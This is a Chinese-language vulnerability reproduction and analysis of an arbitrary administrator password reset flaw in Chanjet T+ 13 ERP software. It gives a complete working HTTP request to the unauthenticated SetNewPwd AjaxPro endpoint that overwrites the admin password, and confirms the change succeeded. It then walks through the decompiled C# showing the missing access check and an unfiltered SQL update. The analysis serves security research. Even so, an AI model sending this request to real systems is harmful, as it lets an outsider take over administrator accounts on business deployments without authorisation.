畅捷通T+13管理员密码任意重置漏洞
复现版本 畅捷通13
漏洞复现
POST /tplus/ajaxpro/RecoverPassword,App_Web_recoverpassword.aspx.cdcab7d2.ashx?method=SetNewPwd HTTP/1.1
Host: 192.168.1.8:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1712566102,1712630297,1712717660; ASP.NET_SessionId=wnyq4w3zxafmow1ocmdx3t3b; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1712725555
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
{"pwdNew":"abf0ec7e667380f7976189fad249a178"}
可以看到返回true,成功修改
这里的密码写成md5
我们来看看数据库中的值
可以看到数据库中也是修改了的密码
漏洞分析
首先看重置密码的页面recoverpassword.aspx
因为畅捷通都是预编译的,那么找到recoverpassword对应的dll文件
打开
保存至于visualstudio中更加友好
protected void Page_Load(object sender, EventArgs e)
{
try
{
Utility.RegisterTypeForAjax(typeof(RecoverPassword));
}
catch (Exception exc)
{
ExceptionHandlerFactory.GetExceptionHandler(exc).Handle(Page);
}
}
Page_Load中有RegisterTypeForAjax,说明可以ajax调用,调用的类就是RecoverPassword,使用AjaxMethod可以在客户端异步调用服务端方法,简单地说就是在JS里调用后台文件里的方法,做一些JS
无法做到的操作,如查询数据库等
[AjaxMethod]
public bool SetNewPwd(string pwdNew)
{
try
{
pwdNew = LoginService.EncodeMD5(pwdNew);
pwdNew = LoginService.EncodeBase64(pwdNew);
return accountService.RecoverSystemPassword(pwdNew);
}
catch (Exception ex)
{
throw ex;
}
}
SetNewPwd方法通过编码后进入RecoverSystemPassword,
发现只有接口,找不到实现,那么实现不在这个dll中,去别的dll中找
发现在Ufida.T.EAP.Account.BE.dll中,可以发现不在bin目录下,所以找的时候一定要覆盖全部代码目录,防止遗漏
未进行任何过滤,直接拼接到sql语句中来更新管理员密码
那么我们就能通过ajax调用RecoverPassword类,那么寻找调用地址
那么便有了上面的请求包